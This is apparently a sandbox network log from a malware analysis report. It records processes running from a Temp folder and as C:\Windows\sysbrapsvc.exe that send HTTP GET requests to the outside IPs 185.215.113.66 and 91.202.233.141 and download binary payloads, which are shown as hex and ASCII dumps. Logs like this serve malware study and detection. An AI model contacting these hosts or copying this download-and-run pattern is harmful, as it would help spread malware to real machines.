IngxCmFh{2Z7\|k\|`{E#&VV)A>G>#(#,#>KXF=p"iehp7wmt,TNUI~,~iP~V}flj7z_RJLdYKj<yDVTmT@G=GEQlk>nQi^a4\|Qp^<r49xLv_ [TRUNCATED]
May 8, 2024 15:25:00.037369013 CEST	1289	IN	Data Raw: c2 0b 7f 53 28 72 18 a7 0b ee 55 6f cb 3d 74 0d 0f 24 2a d4 e2 5e f1 11 0b 67 be e2 a9 95 d4 e3 1a 8a 33 c3 fb 3a 06 e7 5d 63 2c a9 76 a4 40 5b 95 94 55 4e 4f 9d 58 43 89 59 bb 37 cc 7f 1f 27 11 42 25 58 d1 91 c5 11 5e 4d dc 47 c6 41 78 cc c4 9f Data Ascii: S(rUo=t$^g3:]c,v@[UNOXCY7'B%X^MGAx-,-El4oc[Tp-%!Ch2)U]Rs;c2E-:-lO~i:2FM3vT&\|\|,A0&(,dT{[{>q87tP_V
May 8, 2024 15:25:00.037383080 CEST	1289	IN	Data Raw: 0a 77 7f 18 36 b7 b6 91 f6 e6 01 f7 fb 10 50 4a 85 63 ef 94 f5 60 b5 c8 06 c8 3d 64 69 da a8 6d 30 32 bf 1e 29 ff 8e c7 b9 25 0e f1 a7 27 9c 08 3d 52 af 70 5d 92 9b c2 a7 1b ca 81 72 a0 4e a1 bd 92 d3 71 a2 66 e1 25 b1 70 36 c3 d0 df c7 b3 11 ca Data Ascii: w6PJc`=dim02)%'=Rp]rNqf%p6/f ^v8M4E@jX5'3A!c@jW]l\|7dqsG8v^f']MKhR1HVE&9pX6@n4VX3DNi
May 8, 2024 15:25:00.037398100 CEST	1289	IN	Data Raw: 2a 80 d4 70 56 39 70 59 4d 0f e5 66 e8 46 12 cf 0a fe df f4 7c 25 6d 8f ac d6 8c 63 e2 2c af d7 d4 f1 79 23 96 79 70 f7 15 71 bf 22 00 5f b0 b7 32 f5 4d 1d cc 3f 86 c7 00 fa 71 80 a2 6f 15 92 cb d2 09 07 bf 39 61 4a 6d 1f f0 cf 9a b2 82 28 c8 65 Data Ascii: pV9pYMfF\|%mc,y#ypq"_2M?qo9aJm(eXpv=,a6o[C%9=cg78xpN&xh[l6R?LdL .[</.`;&1R/Q
May 8, 2024 15:25:00.037410975 CEST	1289	IN	Data Raw: a4 9d aa 76 a5 5b 73 c6 19 e8 80 c3 a4 48 a8 85 ca 88 43 82 67 d3 d6 66 0d 7a 36 34 64 b8 83 cc 98 a4 67 cf 4e 4f 4c 68 80 0c 75 9a 0c 85 a3 9c a5 bd 4a bc ea 47 7f b8 71 b4 9d a0 7b 9b 68 85 84 2c 86 b1 1b 7c 8a 14 67 c6 41 95 51 ff 3e 18 83 6f Data Ascii: v[sHCgfz64dgNOLhuJGq{h,\|gAQ>o5{91GaBJRq!_fRy*QCRWLbdTs@/ENA5)d{# o`k_<AiHqN,6eH )LTn^Qnyap)SaM
May 8, 2024 15:25:00.037431955 CEST	1289	IN	Data Raw: 57 ab c1 04 01 4b 78 e6 fc e2 60 39 58 67 cd 41 fc 8a 98 51 b7 4e 6b 4a 3f 87 57 5b 23 21 30 63 d3 6c 63 28 b8 9d ad 2a f5 dc 9b 65 17 ea 19 98 63 fc 8a 0d a7 60 46 fe bc 00 2c d3 b0 d9 d7 df 54 e5 97 00 01 e8 bb 31 c9 86 36 56 69 db 80 e2 55 b0 Data Ascii: WKx`9XgAQNkJ?W[#!0clc(*ec`F,T16ViUt[1"Y!?n{T\,\|q=q/0T?\QIjcv(JHJdc7-{-sc>d!ql#LqlrvD;`-w/IO:
May 8, 2024 15:25:00.037494898 CEST	1289	IN	Data Raw: 87 d2 44 52 54 d0 7c d3 ef bf 7d 15 8c 05 3e 44 a3 62 eb a9 16 ee 0a e7 ea b7 a4 36 c3 dd c3 ee cf 88 56 4c 2c e5 fd 02 ae 51 65 dc 04 6f dc 97 ca e5 49 9f 6a 7c b1 6c bb b7 39 b1 02 59 2f 47 11 1d c1 f7 34 ba c1 23 0c a5 17 8c cb 01 63 77 22 31 Data Ascii: DRT\|}>Db6VL,QeoIj\|l9Y/G4#cw"1A~.<ZBoD"`(W;`T73-"pI;Igk"DryYwDZMU(RRV)H:Z:{{5\rBn}oIq_7,>h.tV{r
May 8, 2024 15:25:00.037509918 CEST	465	IN	Data Raw: b3 d0 ab 1f 76 29 d1 74 b5 bf 97 38 a1 3e ac 4f 49 3d 20 20 c9 37 69 05 0b 00 02 b6 94 ee e9 61 47 a0 4c 0a 82 8b 91 eb 0c e8 22 83 fc 35 a8 61 47 af 8f 8f f9 0f 41 de 32 73 ff a9 08 b6 33 d9 ff a5 0e cc fc a2 24 bc 6c 9f 31 c5 e1 cc a1 02 e7 fc Data Ascii: v)t8>OI= 7iaGL"5aGA2s3$l1<ce uUK[OZL,NQLm]r.IDaKs%l!KHtqqbQ=sIIsmVd5ZY]X7uzEnSVNsp$!wmB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.8	49776	185.215.113.66	80	2060	C:\Users\user\AppData\Local\Temp\1146722911.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 15:25:02.402909040 CEST	167	OUT	GET /_3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Host: 185.215.113.66
May 8, 2024 15:25:02.743000984 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:25:02 GMT Content-Type: application/octet-stream Content-Length: 9224 Last-Modified: Tue, 07 May 2024 18:30:44 GMT Connection: keep-alive ETag: "663a7354-2408" Accept-Ranges: bytes Data Raw: 4e 47 53 21 00 02 00 00 cc da 9c ef c1 96 97 c6 a6 fa 74 6e 9a a2 42 84 a8 83 88 1a b9 20 6d 57 1d 32 de db 10 4c 8c be 23 3a d0 0d 1a 7e 97 fc 31 4d da 46 81 5c 54 e1 4f ef 9c d7 8b 98 6d cf f6 fc 2f dd d0 3c e7 eb c9 01 dd 87 63 83 9d a7 ab c6 43 be 3b 55 fd 37 91 4c 34 55 8e 4d 2c 25 a9 37 be 5a c3 2f 4e eb de d4 96 5b 64 b4 cc 09 be 82 dd 50 f1 6f 53 e9 5c 18 4d ab a1 d8 5c 05 72 55 d1 39 79 8e 8f c0 92 cc a4 84 42 44 84 55 98 8d 35 a7 71 dd f3 7d cc 69 c7 1d ff 18 43 cb a8 42 76 bb da 5a 79 5d 6b c2 c5 f9 3a f6 e3 61 14 36 11 23 7d 5d 3b 29 e1 32 8f c8 5e 22 a3 94 cf 93 1b ce 69 76 8d 1a d6 b4 4e 17 c2 fc 6d 6f 5f 41 00 87 00 c1 5f 00 7a 90 23 9a 51 7e 6e ae bf 1f e4 d0 d3 05 f0 fc 12 6f 78 c3 a9 ca 71 9f 03 b0 4a 07 64 51 21 79 73 30 e4 81 db c9 bd 32 2d 2e 4e bb 64 35 3a 1e 08 41 ed 8e f2 82 df ca 88 fb cf 5a a9 2c 73 62 1a 32 e0 1d 0a 32 b4 69 31 73 bd 7a f9 be 30 a8 54 da ec 30 fb 26 08 4e 51 27 6a 3c b8 81 1a 42 af 5b 2e 70 90 d0 0b 79 f6 84 99 ba 95 ff f0 e9 82 3b 1b ec 96 ae 48 14 95 a7 [TRUNCATED] Data Ascii: NGS!tnB mW2L#:~1MF\TOm/<cC;U7L4UM,%7Z/N[dPoS\M\rU9yBDU5q}iCBvZy]k:a6#}];)2^"ivNmo_A_z#Q~noxqJdQ!ys02-.Nd5:AZ,sb22i1sz0T0&NQ'j<B[.py;H0<yKk6G\lNC=ct{MsThZXlT?S/Q0LfZW,Mif \AMF'bhlJ>xI2ZXeG)W8'QLTc=>Dw,NM?0N"!2 `_j8`Fy$D7EjYO&$b.o+zNANMeuumeBV5(%VhRYtNL(2=;DpsubxAl\|s,d2-E`pw *vh+GO> IngxCmFh{2Z7\|k\|`{E#&VV)A>G>#(#,#>KXF=p"iehp7wmt,TNUI~,~iP~V}flj7z_RJLdYKj<yDVTmT@G=GEQlk>nQi^a4\|Qp^<r49xLv_ [TRUNCATED]
May 8, 2024 15:25:02.743066072 CEST	1289	IN	Data Raw: c2 0b 7f 53 28 72 18 a7 0b ee 55 6f cb 3d 74 0d 0f 24 2a d4 e2 5e f1 11 0b 67 be e2 a9 95 d4 e3 1a 8a 33 c3 fb 3a 06 e7 5d 63 2c a9 76 a4 40 5b 95 94 55 4e 4f 9d 58 43 89 59 bb 37 cc 7f 1f 27 11 42 25 58 d1 91 c5 11 5e 4d dc 47 c6 41 78 cc c4 9f Data Ascii: S(rUo=t$^g3:]c,v@[UNOXCY7'B%X^MGAx-,-El4oc[Tp-%!Ch2)U]Rs;c2E-:-lO~i:2FM3vT&\|\|,A0&(,dT{[{>q87tP_V
May 8, 2024 15:25:02.743144035 CEST	1289	IN	Data Raw: 0a 77 7f 18 36 b7 b6 91 f6 e6 01 f7 fb 10 50 4a 85 63 ef 94 f5 60 b5 c8 06 c8 3d 64 69 da a8 6d 30 32 bf 1e 29 ff 8e c7 b9 25 0e f1 a7 27 9c 08 3d 52 af 70 5d 92 9b c2 a7 1b ca 81 72 a0 4e a1 bd 92 d3 71 a2 66 e1 25 b1 70 36 c3 d0 df c7 b3 11 ca Data Ascii: w6PJc`=dim02)%'=Rp]rNqf%p6/f ^v8M4E@jX5'3A!c@jW]l\|7dqsG8v^f']MKhR1HVE&9pX6@n4VX3DNi
May 8, 2024 15:25:02.743210077 CEST	1289	IN	Data Raw: 2a 80 d4 70 56 39 70 59 4d 0f e5 66 e8 46 12 cf 0a fe df f4 7c 25 6d 8f ac d6 8c 63 e2 2c af d7 d4 f1 79 23 96 79 70 f7 15 71 bf 22 00 5f b0 b7 32 f5 4d 1d cc 3f 86 c7 00 fa 71 80 a2 6f 15 92 cb d2 09 07 bf 39 61 4a 6d 1f f0 cf 9a b2 82 28 c8 65 Data Ascii: pV9pYMfF\|%mc,y#ypq"_2M?qo9aJm(eXpv=,a6o[C%9=cg78xpN&xh[l6R?LdL .[</.`;&1R/Q
May 8, 2024 15:25:02.743585110 CEST	1289	IN	Data Raw: a4 9d aa 76 a5 5b 73 c6 19 e8 80 c3 a4 48 a8 85 ca 88 43 82 67 d3 d6 66 0d 7a 36 34 64 b8 83 cc 98 a4 67 cf 4e 4f 4c 68 80 0c 75 9a 0c 85 a3 9c a5 bd 4a bc ea 47 7f b8 71 b4 9d a0 7b 9b 68 85 84 2c 86 b1 1b 7c 8a 14 67 c6 41 95 51 ff 3e 18 83 6f Data Ascii: v[sHCgfz64dgNOLhuJGq{h,\|gAQ>o5{91GaBJRq!_fRy*QCRWLbdTs@/ENA5)d{# o`k_<AiHqN,6eH )LTn^Qnyap)SaM
May 8, 2024 15:25:02.743599892 CEST	1289	IN	Data Raw: 57 ab c1 04 01 4b 78 e6 fc e2 60 39 58 67 cd 41 fc 8a 98 51 b7 4e 6b 4a 3f 87 57 5b 23 21 30 63 d3 6c 63 28 b8 9d ad 2a f5 dc 9b 65 17 ea 19 98 63 fc 8a 0d a7 60 46 fe bc 00 2c d3 b0 d9 d7 df 54 e5 97 00 01 e8 bb 31 c9 86 36 56 69 db 80 e2 55 b0 Data Ascii: WKx`9XgAQNkJ?W[#!0clc(*ec`F,T16ViUt[1"Y!?n{T\,\|q=q/0T?\QIjcv(JHJdc7-{-sc>d!ql#LqlrvD;`-w/IO:
May 8, 2024 15:25:02.743649960 CEST	1289	IN	Data Raw: 87 d2 44 52 54 d0 7c d3 ef bf 7d 15 8c 05 3e 44 a3 62 eb a9 16 ee 0a e7 ea b7 a4 36 c3 dd c3 ee cf 88 56 4c 2c e5 fd 02 ae 51 65 dc 04 6f dc 97 ca e5 49 9f 6a 7c b1 6c bb b7 39 b1 02 59 2f 47 11 1d c1 f7 34 ba c1 23 0c a5 17 8c cb 01 63 77 22 31 Data Ascii: DRT\|}>Db6VL,QeoIj\|l9Y/G4#cw"1A~.<ZBoD"`(W;`T73-"pI;Igk"DryYwDZMU(RRV)H:Z:{{5\rBn}oIq_7,>h.tV{r
May 8, 2024 15:25:02.743999004 CEST	465	IN	Data Raw: b3 d0 ab 1f 76 29 d1 74 b5 bf 97 38 a1 3e ac 4f 49 3d 20 20 c9 37 69 05 0b 00 02 b6 94 ee e9 61 47 a0 4c 0a 82 8b 91 eb 0c e8 22 83 fc 35 a8 61 47 af 8f 8f f9 0f 41 de 32 73 ff a9 08 b6 33 d9 ff a5 0e cc fc a2 24 bc 6c 9f 31 c5 e1 cc a1 02 e7 fc Data Ascii: v)t8>OI= 7iaGL"5aGA2s3$l1<ce uUK[OZL,NQLm]r.IDaKs%l!KHtqqbQ=sIIsmVd5ZY]X7uzEnSVNsp$!wmB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.8	49777	91.202.233.141	80	2060	C:\Users\user\AppData\Local\Temp\1146722911.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 15:25:06.240839005 CEST	167	OUT	GET /_1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Host: 91.202.233.141
May 8, 2024 15:25:06.586477041 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:25:06 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
May 8, 2024 15:25:08.607018948 CEST	167	OUT	GET /_2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Host: 91.202.233.141
May 8, 2024 15:25:08.952675104 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:25:08 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
May 8, 2024 15:25:10.982568979 CEST	167	OUT	GET /_3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Host: 91.202.233.141
May 8, 2024 15:25:11.329552889 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:25:11 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.8	49784	185.215.113.66	80	5588	C:\Windows\sysbrapsvc.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 15:25:25.901874065 CEST	166	OUT	GET /1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66
May 8, 2024 15:25:26.244594097 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:25:26 GMT Content-Type: application/octet-stream Content-Length: 101120 Last-Modified: Mon, 06 May 2024 15:20:46 GMT Connection: keep-alive ETag: "6638f54e-18b00" Accept-Ranges: bytes Data Raw: 2f eb 3b ff 22 8c 9e 7e d6 fa 86 16 25 d6 a1 eb 91 96 d2 6e ab 38 67 1c 3d 47 67 87 68 ce 24 2a dd 8d 07 7d 5e 1e 53 cf 7f 9f bc 53 5d 8e 04 f4 f9 09 4a 15 22 50 da b8 68 9f b3 a6 2d c0 84 94 bb 51 1c 79 b8 aa a0 30 32 32 47 8d 6d c6 9a 54 e9 66 08 fd 3c 2e b3 c9 6e 64 08 31 1f 3f ff cb e3 5e 8e 52 06 1f cf 42 06 a5 8d 78 fa ea fd 6c 47 55 3f a1 8a 36 0c 86 c2 37 a5 0d 96 df 47 6a f5 fa 9a ed d8 93 3c 00 a3 68 3d ee 32 c5 ce 5c c0 ae a1 7a ce 06 9b c4 2e 52 b9 87 a6 d5 8b 39 3e 60 52 51 20 df b6 cc b3 c5 97 33 24 0a 47 ff 73 ac cb 3b c1 25 f9 65 a7 9c 1b 55 78 a9 8a 26 c3 ad f0 c1 e2 6f 5b 1e 78 02 51 ed a0 19 31 a4 eb 64 ee 81 19 3b bb 92 5d 6f 1c dc 69 3e 42 33 60 0f 00 c2 e7 19 a3 9d d8 cd 2d d6 f7 1a 97 fa b6 df d6 69 04 54 0b aa 9f 3e 4d 56 2f 90 eb e5 dc 5f 4d 79 f6 da af 61 e3 70 78 76 42 ab 75 81 3d 29 65 73 41 39 c5 1e 6c 94 fd 3d 7c 17 bc fa 05 70 cd 19 c0 34 4e 24 68 bb ab d4 7f 18 4f 60 99 c0 3b 20 b9 ee e7 94 7e 1a 1a fd 3b e8 a4 77 5f e0 81 37 62 a8 66 c5 b8 b7 c9 32 ef ce 1c 9b 4a e9 [TRUNCATED] Data Ascii: /;"~%n8g=Ggh$}^SS]J"Ph-Qy022GmTf<.nd1?^RBxlGU?67Gj<h=2\z.R9>`RQ 3$Gs;%eUx&o[xQ1d;]oi>B3`-iT>MV/_MyapxvBu=)esA9l=\|p4N$hO`; ~;w_7bf2J6%9K2!PeeQfYwIf59Bs:L7-lgw/nlOsk,c$Mt7=PGKN6EDy!Ig6Yt7exU]5{Yl+5ZN'"'zZ}K2~:/U~1\M^lx1M8/50>f{VG%w uVTo=?ZUc~tMto\|;q{x]+^(qpmKA<qvv9'b.T/Gp_e,7os?g&\|d(v[d}\|Xa1jv&B7j\o\|N!i/u.,o#/v]1&o3T}l{fKV_E-&!1~uZ0}_+_i\|sV!B[@L;;le;fGr<i7DLP`}8y#WqO)h/E^r7QuJ0 [TRUNCATED]
May 8, 2024 15:25:26.244623899 CEST	1289	IN	Data Raw: a0 2d e3 56 4f b5 70 35 f0 87 6d 9a a1 c6 80 d4 8f 8d da 29 da 12 7f 44 65 55 c5 e5 ad 6b 7f 92 1c 16 4c 62 59 24 20 27 a1 4e a6 58 37 f1 d4 4e 3a b8 07 27 be fe 79 d2 0a 4d a3 e9 b3 d3 27 ea 71 3e 45 12 d6 e4 a1 f1 c5 ca 1e dc 0b 6b c4 4d 1d bf Data Ascii: -VOp5m)DeUkLbY$ 'NX7N:'yM'q>EkM2YN JemGZ%>:P@OXW9E:>;n;EK_ptl[}?/EBR -zw{k@/ETJ4CSoD7K)N&)LPl8i:^.;?D
May 8, 2024 15:25:26.244657040 CEST	1289	IN	Data Raw: 34 95 48 63 4a 56 69 1b b6 d0 11 8b 43 3d f9 9b c1 7e ce 35 63 32 b1 a5 bd a2 ce 1d 8c 3c cd 5a 8c 04 19 20 36 cc 80 30 f7 36 0b bb 1c 5d aa ca 75 b1 fb f0 12 10 c5 8d b1 6b da 5c 25 f5 99 66 3a 04 1d 9f 21 83 7b 3f 47 a0 62 23 9e 6d 75 fc 06 13 Data Ascii: 4HcJViC=~5c2<Z 606]uk\%f:!{?Gb#mue/bE)Ac,1_zXGl}J ,AoXu=/Tx;sGP'ZECi\ogb)]>JpA7NdI&"=%}w7a
May 8, 2024 15:25:26.244734049 CEST	1289	IN	Data Raw: 22 ee 51 86 c3 82 42 12 1e 23 94 22 31 32 98 d8 93 42 06 bc 3e ab 5a 7e 1b b2 9c 93 cf ed de db 56 ff d1 9a e8 c0 a3 e2 8c 16 0b 5d 25 0a f3 39 83 b8 8e d5 dc dd 2b 93 5a e8 e1 72 b6 41 ca d0 a8 ce 28 87 51 da 7d bc 57 1f 72 5e d5 40 0c 79 f6 6c Data Ascii: "QB#"12B>Z~V]%9+ZrA(Q}Wr^@yl4~n~uqy7Bk0k32[XOjxLve.BivxU8Qj-S,& fV?X#4J#< ^e\':l}btB
May 8, 2024 15:25:26.244806051 CEST	1289	IN	Data Raw: 14 17 af 0e 52 15 bc 73 cd 28 6c 9d fe 63 14 1c 81 15 ba ea f5 f5 b7 18 2c 57 40 8e 55 0c 7a 93 9e 99 9a 75 58 fb 01 95 7d 90 03 43 86 04 d7 af c7 1e 33 a6 17 c0 a6 8c 9d 26 ea af 5b e0 69 e8 2c 10 54 6a b6 4d be 13 63 30 f7 27 ee 68 6a 25 06 d1 Data Ascii: Rs(lc,W@UzuX}C3&[i,TjMc0'hj%M>V*w=dfcwo$/n7.^Kfy37Iz[VZLF\|%\|s79\"%pNl\Rk-</'HQB14.k-!B>1lZ0_
May 8, 2024 15:25:26.244923115 CEST	1289	IN	Data Raw: 35 03 c6 69 a0 71 ee 00 0e a5 c7 7d 33 36 84 19 87 ec 1d 2d 6e 04 a5 fc 51 32 b5 18 97 f4 6e b2 82 9a bc 7e 2e b5 ce 63 92 99 20 a2 65 9f af 42 2a c0 06 b2 b1 5f 51 05 f2 20 e9 91 74 c6 3b 6d f0 ef ad 0c 15 65 45 32 52 e2 3e b3 a4 99 bd da e9 96 Data Ascii: 5iq}36-nQ2n~.c eB_Q t;meE2R>pLyFU+:&1:PQB\?rumgqeP</;IzfMY;H,bmj{dVT2}-^ZY4]/eVI#/ z?_hX*w
May 8, 2024 15:25:26.245007992 CEST	1289	IN	Data Raw: d8 48 56 8b 5a b8 ab 63 32 07 0b 67 c9 9d d3 d0 75 09 e8 eb e5 85 2b b1 4b 64 12 fb 9c e5 a1 9e 3e 41 f0 08 2b 61 3b be 1e ef f1 0f 7b ff 90 28 db 02 fd 0f f0 e6 ec 08 87 94 5a 41 43 69 77 86 7b 79 28 5c 46 19 4a c0 d4 50 6f 9b 01 a5 ae 12 8d b2 Data Ascii: HVZc2gu+Kd>A+a;{(ZACiw{y(\FJPoc,}-$g.j<+aoeO2(SL=[9HB8[s]YA1A/:FE0xJxUX>IWDWa5PH4(ho%q$qp
May 8, 2024 15:25:26.245023012 CEST	1289	IN	Data Raw: 09 b8 2f 79 14 9d ef 6d 09 77 e2 b2 60 84 e0 9b 45 3b 28 02 15 15 9d ee 50 b6 f6 a2 b9 1c 76 7f f6 8e c3 38 89 c2 df 40 2c 53 36 cd b3 d6 ff 35 7b 9a 79 01 e8 17 61 73 47 03 e2 a4 42 20 5c d3 65 07 0a a3 2b f7 e1 65 81 c9 7e 21 47 71 a8 a8 b3 a3 Data Ascii: /ymw`E;(Pv8@,S65{yasGB \e+e~!GqKw;)+UXd4lseiezy}(<vaSf>_$eRiZ(,MyrL?BtwUYPwTV/cPUfJcrd
May 8, 2024 15:25:26.245037079 CEST	1289	IN	Data Raw: 38 90 ee eb 04 9b f4 3f 3f 31 b6 f4 34 59 eb 6f 0d 53 13 67 d4 a1 dd c3 95 f8 9d 11 aa 8d 8a b2 7f b6 e2 78 a8 ff 57 39 a8 95 52 70 35 c8 b2 cf 61 5e 07 6e c8 61 4d 84 b3 92 7e 9e 09 75 d9 93 53 13 9b ee 06 d3 75 48 e5 df e6 d0 96 53 bb de 81 4a Data Ascii: 8??14YoSgxW9Rp5a^naM~uSuHSJD>K4!o=zxNE:Mpy?WoQ!vP8K(9G(q>.(#7W}UQ.f~MaQz\ztY7Z0}R]O$\"TjEqjZ_
